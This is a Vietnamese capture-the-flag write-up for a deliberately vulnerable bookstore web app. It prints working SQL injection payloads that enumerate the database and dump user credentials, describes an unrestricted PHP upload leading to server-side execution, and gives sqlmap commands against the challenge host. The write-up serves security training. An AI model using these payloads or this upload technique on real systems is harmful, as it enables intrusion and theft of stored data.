---
# System prepended metadata

title: The Book Store
tags: [CTF, cookie arena]

---

# The Book Store
![image](https://hackmd.io/_uploads/rJfy8um5C.png)
>https://battle.cookiearena.org/challenges/vulnerable-web/the-book-store

## Enumeration
Chức năng đăng ký cho phép user đăng ký tài khoản
![image](https://hackmd.io/_uploads/BkEH5gGc0.png)

Và login bằng username và password
![image](https://hackmd.io/_uploads/Sy50sgz5C.png)

Sau khi login thì có giao diện như sau, user có thể xem Profile
![image](https://hackmd.io/_uploads/HksqcgM9C.png)

Xem sản phẩm dựa trên Category
![image](https://hackmd.io/_uploads/B1nl3eMqC.png)

Thêm sản phẩm vào giỏ hàng
![image](https://hackmd.io/_uploads/B1U35eGq0.png)

Xác nhận đặt hàng
![image](https://hackmd.io/_uploads/S1Mpcxzc0.png)

Tìm kiếm sản phẩm theo tên sản phẩm
![image](https://hackmd.io/_uploads/ryqWoxMcC.png)

## Analysis
Ở đây mình thấy web có chức năng đăng nhập, tìm kiếm sản phẩm, và lọc sản phẩm theo category. Đây là những chức năng đều nhận các giá trị từ input của người dùng nên dễ bị tấn công SQL injection.

Đầu tiên, test chức năng lọc sản phẩm, thêm dấu `'` 
![image](https://hackmd.io/_uploads/BkzPhlMcA.png)
Có lỗi trả về, chứng tỏ đây là Error-based SQLi. Và ta biết được web sử dụng hệ quản trị csdl MariaDB.

Chèn 1 câu lệnh luôn đúng thì sản phẩm được liệt kê toàn bộ
![image](https://hackmd.io/_uploads/SkRNhxGqC.png)

Sau khi xác định được lỗi, mình sẽ xác định số cột bằng câu truy vấn
```sql
' group by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- -
```
![image](https://hackmd.io/_uploads/HJun2xG5R.png)
Vậy số cột được select là 15 cột.

Tiếp theo, xác định xem cột nào trả về kiểu chuỗi
![image](https://hackmd.io/_uploads/B1AChlM5R.png)
![image](https://hackmd.io/_uploads/rJuGpgG90.png)
Ở vị trí 3,5,6 có dữ liệu được trả về nên khi extract dữ liệu mình sẽ trả về các cột đó

Tìm database và version như sau
```sql
' union select 1,2,'a',4,version(),database(),7,8,9,10,11,12,13,14,15-- -
```
![image](https://hackmd.io/_uploads/S1qnTgMq0.png)
**Version**: `MariaDB 10.3.39`
**Database**: `bookstore`

Xác định tên cột bằng câu truy vấn sau
```sql
' union select 1,2,'a',4,'a',table_name,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='bookstore'-- -
```
![image](https://hackmd.io/_uploads/H1LBAxz9R.png)
Có 5 bảng được trả về, ở đây chỉ cần quan tâm bảng `users`
```sql
' union select 1,2,'a',4,'a',column_name,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name='users'-- -
```
![image](https://hackmd.io/_uploads/HyesRlM9A.png)

Lấy dữ liệu của bảng `users`
```sql
' union select 1,2,'a',4,UserName,Password,7,8,9,10,11,12,13,14,15 from users-- -
```
![image](https://hackmd.io/_uploads/ryVlk-MqC.png)
Vậy là mình đã có được tài khoản của admin
**Account admin**: `admin/1234567890`

Login vào thấy có chức năng `upload Product` và `Show users`
![image](https://hackmd.io/_uploads/rJED1WM5C.png)

Đối với `Show users` cho phép admin xem đơn hàng, và xóa user. Ở chức năng này mình không khai thác được gì.
![image](https://hackmd.io/_uploads/ry_hyWzcA.png)

Chuyển sang `upload Product`, có phần upload ảnh đáng chú ý
![image](https://hackmd.io/_uploads/HJ8ug-MqR.png)
![image](https://hackmd.io/_uploads/Sk_RgWGqR.png)

Ảnh được lưu tại `/img/books/[PID].jpg` và đuôi `.jpg` tự động thêm vào đối với mỗi ảnh
![image](https://hackmd.io/_uploads/Sy9nlWMqR.png)

Thử upload file php thì thấy server không có cơ chế phòng chống nào cả
![image](https://hackmd.io/_uploads/rJBpZ-M9A.png)

Server thực thi file php thành công
![image](https://hackmd.io/_uploads/SyaJMWf50.png)

## Exploitation
Tìm các file trong hệ thống
![image](https://hackmd.io/_uploads/r1H_f-zqC.png)
![image](https://hackmd.io/_uploads/H1Dwfbz5R.png)

Và cuối cùng là đọc flag
![image](https://hackmd.io/_uploads/ryNjzZf5C.png)
![image](https://hackmd.io/_uploads/rkk2fbzcC.png)

## Bonus
Sử dụng sqlmap để dump dữ liệu 
Lấy tên các database
```cmd
sqlmap -u 103.97.125.56:31400/Product.php?value=123 --dbs 
```
![image](https://hackmd.io/_uploads/rJMdm-GqC.png)

Lấy tên các bảng
```cmd
sqlmap -u 103.97.125.56:31400/Product.php?value=123 -D bookstore --tables
```
![image](https://hackmd.io/_uploads/HyhqmbG9C.png)

Lấy dữ liệu trong bảng
```cmd
sqlmap -u 103.97.125.56:31400/Product.php?value=123 -D bookstore -T users --dump
```
![image](https://hackmd.io/_uploads/B1-14ZM90.png)
